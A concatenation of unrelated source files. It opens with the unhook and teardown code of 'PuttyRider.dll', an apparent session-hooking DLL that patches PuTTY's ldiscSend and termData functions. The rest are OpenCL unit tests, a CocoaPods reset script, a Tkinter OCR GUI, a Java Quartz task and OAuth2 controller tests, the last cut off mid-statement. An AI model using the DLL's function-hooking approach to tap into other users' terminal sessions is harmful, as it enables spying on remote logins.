/* Signal the hooked functions to unhook */
bEjectDLL = TRUE;
/* Wait a few milliseconds for the hooked functions to unhook themselves (bEjectDLL = TRUE) */
/* The RunSocketThread function should exit also */
Sleep(500);
/* Restore original function bytes in order to be usable */
for(i = 0; i < 9; i++) {
((UCHAR*)pLdiscSend)[i] = ldiscSendBytes[i];
}
for(i = 0; i < 9; i++) {
((UCHAR*)pTermData)[i] = termDataBytes[i];
}
hModule = GetModuleHandle("PuttyRider.dll");
if (hModule != NULL) {
FreeLibraryAndExitThread(hModule, 0);
}
return TRUE;
}
BOOL WINAPI DllMain(HINSTANCE hinstDll, DWORD fdwReason, LPVOID lpReserved)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
Start();
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
case DLL_PROCESS_DETACH:
break;
}
return TRUE;
}
|
<filename>src/app/modules/colid-mat-snack-bar/colid-mat-snack-bar-type.model.ts
export enum ColidMatSnackBarType {
INFO,
SUCCESS,
WARNING,
ERROR
}
|
/*! \file tests.cpp
* \brief Google Test Unit Tests
* \author <NAME>
* \version 0.2.2
* \date 2014-2015
* \copyright The MIT License (MIT)
* \par
* Copyright (c) 2014 <NAME>
* \par
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
* \par
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
* \par
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#include <iostream>
#include <vector>
#include <chrono>
#include <random>
#include <cmath>
#include <thread>
#include <gtest/gtest.h>
#include <CLUtils.hpp>
const std::string kernel_filename { "kernels/kernels.cl" };
const std::string kernel_filename2 { "kernels/kernels2.cl" };
const std::vector<std::string> kernel_filenames { kernel_filename, kernel_filename2 };
const int n_elements = 1 << 12; // 4K elements
auto seed = std::chrono::system_clock::now ().time_since_epoch ().count ();
std::default_random_engine generator (seed);
std::uniform_int_distribution<int> distribution (1, 32);
/*! Produces a random integer with which device buffers will be initialized */
auto rNum = std::bind (distribution, generator);
/*! \brief Performs a buffer initialization under default environment.
*/
TEST (CLEnv, BasicFunctionality)
{
int num = rNum ();
const std::string options = "-D INIT_NUM=" + std::to_string (num);
clutils::CLEnv clEnv (kernel_filename2, options.c_str ());
cl::Context &context (clEnv.getContext ());
cl::CommandQueue &queue (clEnv.getQueue ());
cl::Kernel &kernel (clEnv.getKernel ("initRand"));
cl::NDRange global (n_elements), local (256);
cl::Buffer dBufA (context, CL_MEM_WRITE_ONLY, n_elements * sizeof (int));
kernel.setArg (0, dBufA);
queue.enqueueNDRangeKernel (kernel, cl::NullRange, global, local);
int hBufA[n_elements];
queue.enqueueReadBuffer (dBufA, CL_TRUE, 0, n_elements * sizeof (int), hBufA);
for (int elmt : hBufA)
ASSERT_EQ (num, elmt);
}
/*! \brief Performs a buffer initializations and a vector addition
* under user created environment.
*/
TEST (CLEnv, AddMoreCLObjects)
{
int num = rNum ();
const std::string options = "-D INIT_NUM=" + std::to_string (num);
clutils::CLEnv clEnv;
cl::Context &context (clEnv.addContext (0));
cl::CommandQueue &queue (clEnv.addQueue (0, 0));
cl::Kernel &kernel_init (clEnv.addProgram (0, kernel_filename2, "initRand", options.c_str ()));
cl::Kernel &kernel_add (clEnv.addProgram (0, kernel_filename, "vecAdd"));
cl::NDRange global (n_elements), local (256);
cl::Buffer dBufA (context, CL_MEM_READ_WRITE, n_elements * sizeof (int));
cl::Buffer dBufB (context, CL_MEM_READ_WRITE, n_elements * sizeof (int));
kernel_init.setArg (0, dBufA);
queue.enqueueNDRangeKernel (kernel_init, cl::NullRange, global, local);
kernel_init.setArg (0, dBufB);
queue.enqueueNDRangeKernel (kernel_init, cl::NullRange, global, local);
cl::Buffer dBufC (context, CL_MEM_WRITE_ONLY, n_elements * sizeof (int));
kernel_add.setArg (0, dBufA);
kernel_add.setArg (1, dBufB);
kernel_add.setArg (2, dBufC);
queue.enqueueNDRangeKernel (kernel_add, cl::NullRange, global, local);
int hBufC[n_elements];
queue.enqueueReadBuffer (dBufC, CL_TRUE, 0, n_elements * sizeof (int), hBufC);
for (int elmt : hBufC)
ASSERT_EQ (2*num, elmt);
}
/*! \brief Tests functionality on 2 vectors of 10 floats and compares them.
*/
TEST (ProfilingInfo, BasicFunctionality)
{
const int nRepeat = 10;
clutils::ProfilingInfo<nRepeat, float> pInfo ("Test");
// Fill the array ( 1 1 ... 1 1 | 2 2 ... 2 2)
for (int i = 0; i < nRepeat; ++i)
pInfo[i] = i / (nRepeat / 2) + 1;
// Check the total
ASSERT_EQ (pInfo.total (), (nRepeat / 2) * (float) (1 + 2));
// Check the mean
ASSERT_EQ (pInfo.mean (), 1.5);
// Check the min
ASSERT_EQ (pInfo.min (), 1.0);
// Check the max
ASSERT_EQ (pInfo.max (), 2.0);
// Create a second to benchmark
clutils::ProfilingInfo<nRepeat, float> pInfo2 ("Test2");
// Fill the array ( 1 1 ... 1 1 | 2 2 ... 2 2)
for (int i = 0; i < nRepeat; ++i)
pInfo2[i] = i / (nRepeat / 2) + 1;
// Check the speedup
ASSERT_EQ (pInfo2.speedup (pInfo), 1.0);
// pInfo.print (pInfo2, "Testing");
}
/*! \brief Tests functionality on a 100,000 us interval.
*/
TEST (CPUTimer, BasicFunctionality)
{
clutils::CPUTimer<double, std::micro> timer (10);
// Check that the timer initializes correctly
ASSERT_EQ (timer.duration (), 10);
// Check that the timer resets
timer.reset ();
ASSERT_EQ (timer.duration (), 0);
// Check that the timer measures appropriately
timer.start ();
std::this_thread::sleep_for (std::chrono::duration<int64_t, std::milli> (100)); // 100 ms
timer.stop ();
ASSERT_LE (timer.duration () - 100000, 1000); // 1 ms (OS scheduling) tolerance
}
/*! \brief Tests functionality on a ~12 us execution time kernel.
*/
TEST (GPUTimer, BasicFunctionality)
{
clutils::CLEnv clEnv;
cl::Context &context (clEnv.addContext (0));
cl::CommandQueue &queue (clEnv.addQueue (0, 0, CL_QUEUE_PROFILING_ENABLE));
cl::Kernel &kernel (clEnv.addProgram (0, kernel_filename, "vecAdd"));
cl::NDRange global (256);
cl::Buffer dBufA (context, CL_MEM_READ_ONLY, n_elements * sizeof (int));
cl::Buffer dBufB (context, CL_MEM_WRITE_ONLY, n_elements * sizeof (int));
kernel.setArg (0, dBufA);
kernel.setArg (1, dBufA);
kernel.setArg (2, dBufB);
clutils::GPUTimer<std::milli> timer (clEnv.devices[0][0]);
queue.enqueueNDRangeKernel (kernel, cl::NullRange, global, cl::NullRange, NULL, &timer.event ());
queue.flush (); timer.wait ();
ASSERT_LE (timer.duration (), 0.2);
}
int main (int argc, char **argv)
{
::testing::InitGoogleTest (&argc, argv);
return RUN_ALL_TESTS ();
}
|
#!/bin/bash
rm -rf ./third-party/Podfile.lock
rm -rf ./third-party/Pods
mkdir ./third-party/Pods
rsync -av --ignore-existing ./tools/BuckSupport/ ./third-party/Pods/
mv ./third-party/Pods/BUCK_PODS ./third-party/Pods/BUCK |
import tkinter as tk
from concurrent import futures
import time
import webcamController as scan
import labelController as dymo
import os
from script import xmlScript as xml
thread_pool_executor = futures.ThreadPoolExecutor(max_workers=3)
class MainFrame(tk.Frame):
def __init__(self, *args, **kwargs):
super().__init__(*args, **kwargs)
self.label = tk.Label(self, text='not running')
self.label.pack()
self.listbox = tk.Listbox(self)
self.listbox.pack()
xml.createXml('ocr')
self.buttonScanner = tk.Button(self, text='Scan order', command=self.btnWebcam)
self.buttonScanner.pack(pady=5)
#self.buttonRead = tk.Button(
#self, text='Scan read order', command=self.btnRead)
#self.buttonRead.pack(pady=5)
self.buttonDymo = tk.Button(self, text='Dymo Print', command=self.btnDymo)
self.buttonDymo.pack(pady=5)
self.pack()
def btnDymo(self):
thread_pool_executor.submit(self.blocking_Dymo)
def btnWebcam(self):
thread_pool_executor.submit(self.blocking_Scanner)
def btnRead(self):
thread_pool_executor.submit(self.blocking_Read)
def set_label_text(self, text=''):
self.label['text'] = text
def listbox_insert(self, item):
self.listbox.insert(tk.END, item)
def blocking_Dymo(self):
self.listbox.delete(0,tk.END)
self.after(0, self.set_label_text, 'running')
os.system('python LabelGUI.py')
self.after(0, self.set_label_text, ' not running')
def blocking_Scanner(self):
self.listbox.delete(0,tk.END)
self.after(0, self.set_label_text, 'running')
text = scan.webcam()
self.after(0, self.listbox_insert, text)
text = scan.takePicture()
self.after(0, self.listbox_insert, text)
text = scan.alignPicture()
self.after(0, self.listbox_insert, text)
text = scan.ocr()
self.after(0, self.listbox_insert, text)
self.after(0, self.set_label_text, ' not running')
def blocking_Read(self):
self.listbox.delete(0,tk.END)
self.after(0, self.set_label_text, 'running')
text = scan.ocr()
self.after(0, self.set_label_text, ' not running')
if __name__ == '__main__':
app = tk.Tk()
main_frame = MainFrame()
app.geometry("200x300+1685+685")
app.title("Start")
app.wm_attributes("-topmost", 1)
app.mainloop() |
package com.java110.things.quartz.task;
import com.java110.things.quartz.accessControl.AddUpdateFace;
import com.java110.things.quartz.accessControl.DeleteFace;
import com.java110.things.quartz.accessControl.ScanMachine;
import com.java110.things.config.Java110Properties;
import com.java110.things.entity.task.TaskDto;
import com.java110.things.quartz.TaskSystemQuartz;
import com.java110.things.service.community.ICommunityService;
import com.java110.things.service.machine.IMachineService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;
import org.springframework.web.client.RestTemplate;
/**
* @ClassName ScanAccessControlMachineTemplate
* @Description TODO
* @Author wuxw
* @Date 2020/6/8 16:53
* @Version 1.0
* add by wuxw 2020/6/8
**/
@Component
public class ScanAccessControlMachineTemplate extends TaskSystemQuartz {
/**
* 初始化 硬件状态
*/
public static boolean INIT_MACHINE_STATE = false;
@Autowired
private RestTemplate restTemplate;
@Autowired
private Java110Properties java110Properties;
@Autowired
private AddUpdateFace addUpdateFace;
@Autowired
private DeleteFace deleteFace;
@Autowired
private ICommunityService communityService;
@Autowired
private IMachineService machineService;
@Autowired
private ScanMachine scanMachine;
@Override
protected void process(TaskDto taskDto) throws Exception {
scanMachine.scan();
}
}
|
<reponame>KorAP/Kustvakt<filename>full/src/test/java/de/ids_mannheim/korap/web/controller/OAuth2ClientControllerTest.java
package de.ids_mannheim.korap.web.controller;
import static org.junit.Assert.assertEquals;
import static org.junit.Assert.assertNotNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.assertFalse;
import java.io.IOException;
import java.io.InputStream;
import java.nio.charset.Charset;
import java.util.List;
import java.util.Map.Entry;
import java.util.Set;
import javax.ws.rs.core.MultivaluedMap;
import org.apache.commons.io.IOUtils;
import org.apache.http.entity.ContentType;
import org.junit.Test;
import com.fasterxml.jackson.databind.JsonNode;
import com.google.common.net.HttpHeaders;
import com.sun.jersey.api.client.ClientHandlerException;
import com.sun.jersey.api.client.ClientResponse;
import com.sun.jersey.api.client.ClientResponse.Status;
import com.sun.jersey.api.client.UniformInterfaceException;
import com.sun.jersey.core.util.MultivaluedMapImpl;
import com.sun.jersey.spi.container.ContainerRequest;
import de.ids_mannheim.korap.authentication.http.HttpAuthorizationHandler;
import de.ids_mannheim.korap.config.Attributes;
import de.ids_mannheim.korap.exceptions.KustvaktException;
import de.ids_mannheim.korap.exceptions.StatusCodes;
import de.ids_mannheim.korap.oauth2.constant.OAuth2ClientType;
import de.ids_mannheim.korap.oauth2.constant.OAuth2Error;
import de.ids_mannheim.korap.utils.JsonUtils;
import de.ids_mannheim.korap.web.input.OAuth2ClientJson;
/**
* @author margaretha
*
*/
public class OAuth2ClientControllerTest extends OAuth2TestBase {
private String username = "OAuth2ClientControllerTest";
private String userAuthHeader;
public OAuth2ClientControllerTest () throws KustvaktException {
userAuthHeader = HttpAuthorizationHandler
.createBasicAuthorizationHeaderValue("dory", "password");
}
private void checkWWWAuthenticateHeader (ClientResponse response) {
Set<Entry<String, List<String>>> headers =
response.getHeaders().entrySet();
for (Entry<String, List<String>> header : headers) {
if (header.getKey().equals(ContainerRequest.WWW_AUTHENTICATE)) {
assertEquals("Basic realm=\"Kustvakt\"",
header.getValue().get(0));
}
}
}
private ClientResponse registerClient (String username,
OAuth2ClientJson json) throws UniformInterfaceException,
ClientHandlerException, KustvaktException {
return resource().path(API_VERSION).path("oauth2").path("client")
.path("register")
.header(Attributes.AUTHORIZATION, HttpAuthorizationHandler
.createBasicAuthorizationHeaderValue(username, "password"))
.header(HttpHeaders.X_FORWARDED_FOR, "192.168.127.12")
.header(HttpHeaders.CONTENT_TYPE, ContentType.APPLICATION_JSON)
.entity(json).post(ClientResponse.class);
}
private ClientResponse registerConfidentialClient ()
throws KustvaktException {
OAuth2ClientJson json = new OAuth2ClientJson();
json.setName("OAuth2ClientTest");
json.setType(OAuth2ClientType.CONFIDENTIAL);
json.setUrl("http://example.client.com");
json.setRedirectURI("https://example.client.com/redirect");
json.setDescription("This is a confidential test client.");
return registerClient(username, json);
}
private JsonNode retrieveClientInfo (String clientId, String username)
throws UniformInterfaceException, ClientHandlerException,
KustvaktException {
ClientResponse response = resource().path(API_VERSION).path("oauth2")
.path("client").path(clientId)
.header(Attributes.AUTHORIZATION, HttpAuthorizationHandler
.createBasicAuthorizationHeaderValue(username, "pass"))
.get(ClientResponse.class);
assertEquals(Status.OK.getStatusCode(), response.getStatus());
String entity = response.getEntity(String.class);
return JsonUtils.readTree(entity);
}
@Test
public void testRetrieveClientInfo () throws KustvaktException {
// public client
JsonNode clientInfo = retrieveClientInfo(publicClientId, "system");
assertEquals(publicClientId, clientInfo.at("/id").asText());
assertEquals("third party client", clientInfo.at("/name").asText());
assertNotNull(clientInfo.at("/description"));
assertNotNull(clientInfo.at("/url"));
assertEquals("PUBLIC", clientInfo.at("/type").asText());
assertEquals("system", clientInfo.at("/registered_by").asText());
// confidential client
clientInfo = retrieveClientInfo(confidentialClientId, "system");
assertEquals(confidentialClientId, clientInfo.at("/id").asText());
assertEquals("non super confidential client", clientInfo.at("/name").asText());
assertNotNull(clientInfo.at("/url"));
assertEquals(false,clientInfo.at("/is_super").asBoolean());
assertEquals("CONFIDENTIAL", clientInfo.at("/type").asText());
// super client
clientInfo = retrieveClientInfo(superClientId, "system");
assertEquals(superClientId, clientInfo.at("/id").asText());
assertEquals("super confidential client", clientInfo.at("/name").asText());
assertNotNull(clientInfo.at("/url"));
assertEquals("CONFIDENTIAL", clientInfo.at("/type").asText());
assertTrue(clientInfo.at("/is_super").asBoolean());
}
@Test
public void testRegisterConfidentialClient () throws KustvaktException {
ClientResponse response = registerConfidentialClient();
String entity = response.getEntity(String.class);
assertEquals(Status.OK.getStatusCode(), response.getStatus());
JsonNode node = JsonUtils.readTree(entity);
String clientId = node.at("/client_id").asText();
String clientSecret = node.at("/client_secret").asText();
assertNotNull(clientId);
assertNotNull(clientSecret);
assertFalse(clientId.contains("a"));
testResetConfidentialClientSecret(clientId, clientSecret);
testDeregisterConfidentialClient(clientId);
}
@Test
public void testRegisterClientNameTooShort ()
throws UniformInterfaceException, ClientHandlerException,
KustvaktException {
OAuth2ClientJson json = new OAuth2ClientJson();
json.setName("R");
json.setType(OAuth2ClientType.PUBLIC);
ClientResponse response = registerClient(username, json);
String entity = response.getEntity(String.class);
JsonNode node = JsonUtils.readTree(entity);
assertEquals("client_name must contain at least 3 characters",
node.at("/error_description").asText());
assertEquals("invalid_request",
node.at("/error").asText());
assertEquals(Status.BAD_REQUEST.getStatusCode(), response.getStatus());
}
@Test
public void testRegisterClientMissingDescription ()
throws UniformInterfaceException, ClientHandlerException,
KustvaktException {
OAuth2ClientJson json = new OAuth2ClientJson();
json.setName("R client");
json.setType(OAuth2ClientType.PUBLIC);
ClientResponse response = registerClient(username, json);
String entity = response.getEntity(String.class);
JsonNode node = JsonUtils.readTree(entity);
assertEquals("client_description is null",
node.at("/error_description").asText());
assertEquals("invalid_request",
node.at("/error").asText());
assertEquals(Status.BAD_REQUEST.getStatusCode(), response.getStatus());
}
@Test
public void testRegisterPublicClient () throws UniformInterfaceException,
ClientHandlerException, KustvaktException {
OAuth2ClientJson json = new OAuth2ClientJson();
json.setName("OAuth2PublicClient");
json.setType(OAuth2ClientType.PUBLIC);
json.setUrl("http://test.public.client.com");
json.setRedirectURI("https://test.public.client.com/redirect");
json.setDescription("This is a public test client.");
ClientResponse response = registerClient(username, json);
String entity = response.getEntity(String.class);
assertEquals(Status.OK.getStatusCode(), response.getStatus());
JsonNode node = JsonUtils.readTree(entity);
String clientId = node.at("/client_id").asText();
assertNotNull(clientId);
assertTrue(node.at("/client_secret").isMissingNode());
testResetPublicClientSecret(clientId);
testAccessTokenAfterDeregistration(clientId, null,null);
}
@Test
public void testRegisterClientUsingPlainJson ()
throws UniformInterfaceException, ClientHandlerException,
KustvaktException, IOException {
InputStream is = getClass().getClassLoader()
.getResourceAsStream("json/oauth2_public_client.json");
String json = IOUtils.toString(is, Charset.defaultCharset());
ClientResponse response = resource().path(API_VERSION).path("oauth2")
.path("client").path("register")
.header(Attributes.AUTHORIZATION,
HttpAuthorizationHandler
.createBasicAuthorizationHeaderValue(username,
"password"))
.header(HttpHeaders.CONTENT_TYPE, ContentType.APPLICATION_JSON)
.entity(json).post(ClientResponse.class);
String entity = response.getEntity(String.class);
assertEquals(Status.OK.getStatusCode(), response.getStatus());
JsonNode node = JsonUtils.readTree(entity);
String clientId = node.at("/client_id").asText();
assertNotNull(clientId);
assertTrue(node.at("/client_secret").isMissingNode());
testResetPublicClientSecret(clientId);
testAccessTokenAfterDeregistration(clientId, null, null);
}
@Test
public void testRegisterDesktopApp () throws UniformInterfaceException,
ClientHandlerException, KustvaktException {
OAuth2ClientJson json = new OAuth2ClientJson();
json.setName("OAuth2DesktopClient");
json.setType(OAuth2ClientType.PUBLIC);
json.setDescription("This is a desktop test client.");
ClientResponse response = registerClient(username, json);
String entity = response.getEntity(String.class);
assertEquals(Status.OK.getStatusCode(), response.getStatus());
JsonNode node = JsonUtils.readTree(entity);
String clientId = node.at("/client_id").asText();
assertNotNull(clientId);
assertTrue(node.at("/client_secret").isMissingNode());
testDeregisterPublicClientMissingUserAuthentication(clientId);
testDeregisterPublicClientMissingId();
testDeregisterPublicClient(clientId,username);
}
@Test
public void testRegisterMultipleDesktopApps () throws UniformInterfaceException,
ClientHandlerException, KustvaktException {
// First client
OAuth2ClientJson json = new OAuth2ClientJson();
json.setName("OAuth2DesktopClient1");
json.setType(OAuth2ClientType.PUBLIC);
json.setDescription("This is a desktop test client.");
ClientResponse response = registerClient(username, json);
String entity = response.getEntity(String.class);
assertEquals(Status.OK.getStatusCode(), response.getStatus());
JsonNode node = JsonUtils.readTree(entity);
String clientId1 = node.at("/client_id").asText();
assertNotNull(clientId1);
assertTrue(node.at("/client_secret").isMissingNode());
// Second client
json = new OAuth2ClientJson();
json.setName("OAuth2DesktopClient2");
json.setType(OAuth2ClientType.PUBLIC);
json.setDescription("This is another desktop test client.");
response = registerClient(username, json);
entity = response.getEntity(String.class);
assertEquals(Status.OK.getStatusCode(), response.getStatus());
node = JsonUtils.readTree(entity);
String clientId2 = node.at("/client_id").asText();
assertNotNull(clientId2);
assertTrue(node.at("/client_secret").isMissingNode());
testResetPublicClientSecret(clientId1);
testAccessTokenAfterDeregistration(clientId1, null,
"https://OAuth2DesktopClient1.com");
testResetPublicClientSecret(clientId2);
testAccessTokenAfterDeregistration(clientId2, null,
"https://OAuth2DesktopClient2.com");
}
private void testAccessTokenAfterDeregistration (String clientId,
String clientSecret, String redirectUri) throws KustvaktException {
String userAuthHeader = HttpAuthorizationHandler
.createBasicAuthorizationHeaderValue("dory", "password");
String code = requestAuthorizationCode(clientId, "", null,
userAuthHeader, redirectUri);
ClientResponse response = requestTokenWithAuthorizationCodeAndForm(
clientId, clientSecret, code, redirectUri);
JsonNode node = JsonUtils.readTree(response.getEntity(String.class));
String accessToken = node.at("/access_token").asText();
response = searchWithAccessToken(accessToken);
assertEquals(Status.OK.getStatusCode(), response.getStatus());
code = requestAuthorizationCode(clientId, "", null, userAuthHeader,
redirectUri);
testDeregisterPublicClient(clientId, username);
response = requestTokenWithAuthorizationCodeAndForm(clientId,
clientSecret, code, redirectUri);
assertEquals(Status.UNAUTHORIZED.getStatusCode(), response.getStatus());
node = JsonUtils.readTree(response.getEntity(String.class));
assertEquals(OAuth2Error.INVALID_CLIENT.toString(),
node.at("/error").asText());
response = searchWithAccessToken(accessToken);
assertEquals(Status.UNAUTHORIZED.getStatusCode(), response.getStatus());
node = JsonUtils.readTree(response.getEntity(String.class));
assertEquals(StatusCodes.INVALID_ACCESS_TOKEN,
node.at("/errors/0/0").asInt());
assertEquals("Access token is invalid",
node.at("/errors/0/1").asText());
}
private void testDeregisterPublicClientMissingUserAuthentication (
String clientId) throws UniformInterfaceException,
ClientHandlerException, KustvaktException {
ClientResponse response = resource().path(API_VERSION).path("oauth2")
.path("client").path("deregister").path(clientId)
.delete(ClientResponse.class);
assertEquals(Status.UNAUTHORIZED.getStatusCode(), response.getStatus());
String entity = response.getEntity(String.class);
JsonNode node = JsonUtils.readTree(entity);
assertEquals(StatusCodes.AUTHORIZATION_FAILED,
node.at("/errors/0/0").asInt());
}
private void testDeregisterPublicClientMissingId ()
throws UniformInterfaceException, ClientHandlerException,
KustvaktException {
ClientResponse response = resource().path(API_VERSION).path("oauth2")
.path("client").path("deregister")
.header(Attributes.AUTHORIZATION, HttpAuthorizationHandler
.createBasicAuthorizationHeaderValue(username, "<PASSWORD>"))
.delete(ClientResponse.class);
assertEquals(Status.METHOD_NOT_ALLOWED.getStatusCode(), response.getStatus());
}
private void testDeregisterPublicClient (String clientId, String username)
throws UniformInterfaceException, ClientHandlerException,
KustvaktException {
ClientResponse response = resource().path(API_VERSION).path("oauth2")
.path("client").path("deregister").path(clientId)
.header(Attributes.AUTHORIZATION, HttpAuthorizationHandler
.createBasicAuthorizationHeaderValue(username, "<PASSWORD>"))
.delete(ClientResponse.class);
assertEquals(Status.OK.getStatusCode(), response.getStatus());
}
private void testDeregisterConfidentialClient (String clientId)
throws UniformInterfaceException, ClientHandlerException,
KustvaktException {
ClientResponse response = resource().path(API_VERSION).path("oauth2")
.path("client").path("deregister").path(clientId)
.header(Attributes.AUTHORIZATION, HttpAuthorizationHandler
.createBasicAuthorizationHeaderValue(username, "<PASSWORD>"))
.delete(ClientResponse.class);
assertEquals(Status.OK.getStatusCode(), response.getStatus());
}
private void testResetPublicClientSecret (String clientId)
throws UniformInterfaceException, ClientHandlerException,
KustvaktException {
MultivaluedMap<String, String> form = new MultivaluedMapImpl();
form.add("client_id", clientId);
ClientResponse response = resource().path(API_VERSION).path("oauth2")
.path("client").path("reset")
.header(Attributes.AUTHORIZATION, HttpAuthorizationHandler
.createBasicAuthorizationHeaderValue(username, "pass"))
.header(HttpHeaders.CONTENT_TYPE,
ContentType.APPLICATION_FORM_URLENCODED)
.entity(form).post(ClientResponse.class);
String entity = response.getEntity(String.class);
assertEquals(Status.BAD_REQUEST.getStatusCode(), response.getStatus());
JsonNode node = JsonUtils.readTree(entity);
assertEquals(OAuth2Error.INVALID_REQUEST, node.at("/error").asText());
assertEquals("Operation is not allowed for public clients",
node.at("/error_description").asText());
}
private String testResetConfidentialClientSecret (String clientId,
String clientSecret) throws UniformInterfaceException,
ClientHandlerException, KustvaktException {
MultivaluedMap<String, String> form = new MultivaluedMapImpl();
form.add("client_id", clientId);
form.add("client_secret", clientSecret);
ClientResponse response = resource().path(API_VERSION).path("oauth2")
.path("client").path("reset")
.header(Attributes.AUTHORIZATION, HttpAuthorizationHandler
.createBasicAuthorizationHeaderValue(username, "<PASSWORD>"))
.header(HttpHeaders.CONTENT_TYPE,
ContentType.APPLICATION_FORM_URLENCODED)
.entity(form).post(ClientResponse.class);
String entity = response.getEntity(String.class);
assertEquals(Status.OK.getStatusCode(), response.getStatus());
JsonNode node = JsonUtils.readTree(entity);
assertEquals(clientId, node.at("/client_id").asText());
String newClientSecret = node.at("/client_secret").asText();
assertTrue(!clientSecret.equals(newClientSecret));
return newClientSecret;
}
@Test
public void testUpdateClientPrivilege () throws KustvaktException {
// register a client
ClientResponse response = registerConfidentialClient();
JsonNode node = JsonUtils.readTree(response.getEntity(String.class));
String clientId = node.at("/client_id").asText();
String clientSecret = node.at("/client_secret").asText();
// request an access token
String clientAuthHeader = HttpAuthorizationHandler
.createBasicAuthorizationHeaderValue(clientId, clientSecret);
String code = requestAuthorizationCode(clientId, clientSecret, null,
userAuthHeader);
node = requestTokenWithAuthorizationCodeAndHeader(clientId, code,
clientAuthHeader);
String accessToken = node.at("/access_token").asText();
testAccessTokenAfterUpgradingClient(clientId, accessToken);
testAccessTokenAfterDegradingSuperClient(clientId, accessToken);
testDeregisterConfidentialClient(clientId);
}
// old access tokens retain their scopes
private void testAccessTokenAfterUpgradingClient (String clientId,
String accessToken) throws KustvaktException {
MultivaluedMap<String, String> form = new MultivaluedMapImpl();
form.add("client_id", clientId);
form.add("super", "true");
updateClientPrivilege(form);
JsonNode node = retrieveClientInfo(clientId, "admin");
assertTrue(node.at("/is_super").asBoolean());
// list vc
ClientResponse response = resource().path(API_VERSION).path("vc")
.header(Attributes.AUTHORIZATION, "Bearer " + accessToken)
.get(ClientResponse.class);
assertEquals(ClientResponse.Status.UNAUTHORIZED.getStatusCode(),
response.getStatus());
String entity = response.getEntity(String.class);
node = JsonUtils.readTree(entity);
assertEquals(StatusCodes.AUTHORIZATION_FAILED,
node.at("/errors/0/0").asInt());
assertEquals("Scope vc_info is not authorized",
node.at("/errors/0/1").asText());
// search
response = searchWithAccessToken(accessToken);
assertEquals(Status.OK.getStatusCode(), response.getStatus());
}
private void testAccessTokenAfterDegradingSuperClient (String clientId,
String accessToken) throws KustvaktException {
MultivaluedMap<String, String> form = new MultivaluedMapImpl();
form.add("client_id", clientId);
form.add("super", "false");
updateClientPrivilege(form);
JsonNode node = retrieveClientInfo(clientId, username);
assertTrue(node.at("/isSuper").isMissingNode());
ClientResponse response = searchWithAccessToken(accessToken);
assertEquals(ClientResponse.Status.UNAUTHORIZED.getStatusCode(),
response.getStatus());
String entity = response.getEntity(String.class);
node = JsonUtils.readTree(entity);
assertEquals(StatusCodes.INVALID_ACCESS_TOKEN,
node.at("/errors/0/0").asInt());
assertEquals("Access token is invalid",
node.at("/errors/0/1").asText());
}
private void requestAuthorizedClientList (String userAuthHeader)
throws KustvaktException {
MultivaluedMap<String, String> form = new MultivaluedMapImpl();
form.add("super_client_id", superClientId);
form.add("super_client_secret", clientSecret);
form.add("authorized_only", "true");
ClientResponse response = resource().path(API_VERSION).path("oauth2")
.path("client").path("list")
.header(Attributes.AUTHORIZATION, userAuthHeader)
.header(HttpHeaders.CONTENT_TYPE,
ContentType.APPLICATION_FORM_URLENCODED)
.entity(form).post(ClientResponse.class);
assertEquals(Status.OK.getStatusCode(), response.getStatus());
String entity = response.getEntity(String.class);
// System.out.println(entity);
JsonNode node = JsonUtils.readTree(entity);
assertEquals(2, node.size());
assertEquals(confidentialClientId, node.at("/0/client_id").asText());
assertEquals(publicClientId, node.at("/1/client_id").asText());
assertEquals("non super confidential client",node.at("/0/client_name").asText());
assertEquals("CONFIDENTIAL",node.at("/0/client_type").asText());
assertFalse(node.at("/0/client_url").isMissingNode());
assertFalse(node.at("/0/client_description").isMissingNode());
}
@Test
public void testListUserClients () throws KustvaktException {
String username = "pearl";
String password = "<PASSWORD>";
userAuthHeader = HttpAuthorizationHandler
.createBasicAuthorizationHeaderValue(username, password);
// super client
ClientResponse response = requestTokenWithPassword(superClientId,
clientSecret, username, password);
assertEquals(Status.OK.getStatusCode(), response.getStatus());
// client 1
String code = requestAuthorizationCode(publicClientId, "",
null, userAuthHeader);
response = requestTokenWithAuthorizationCodeAndForm(publicClientId, "",
code);
assertEquals(Status.OK.getStatusCode(), response.getStatus());
JsonNode node = JsonUtils.readTree(response.getEntity(String.class));
String accessToken = node.at("/access_token").asText();
// client 2
code = requestAuthorizationCode(confidentialClientId, clientSecret,
null, userAuthHeader);
response = requestTokenWithAuthorizationCodeAndForm(
confidentialClientId, clientSecret, code);
String refreshToken = node.at("/refresh_token").asText();
assertEquals(Status.OK.getStatusCode(), response.getStatus());
requestAuthorizedClientList(userAuthHeader);
testListAuthorizedClientWithMultipleRefreshTokens(userAuthHeader);
testListAuthorizedClientWithMultipleAccessTokens(userAuthHeader);
testListWithClientsFromAnotherUser(userAuthHeader);
// revoke client 1
testRevokeAllTokenViaSuperClient(publicClientId, userAuthHeader,
accessToken);
// revoke client 2
node = JsonUtils.readTree(response.getEntity(String.class));
accessToken = node.at("/access_token").asText();
refreshToken = node.at("/refresh_token").asText();
testRevokeAllTokenViaSuperClient(confidentialClientId, userAuthHeader,
accessToken);
testRequestTokenWithRevokedRefreshToken(confidentialClientId, clientSecret,
refreshToken);
}
private void testListAuthorizedClientWithMultipleRefreshTokens (
String userAuthHeader) throws KustvaktException {
// client 2
String code = requestAuthorizationCode(confidentialClientId, clientSecret,
null, userAuthHeader);
ClientResponse response = requestTokenWithAuthorizationCodeAndForm(
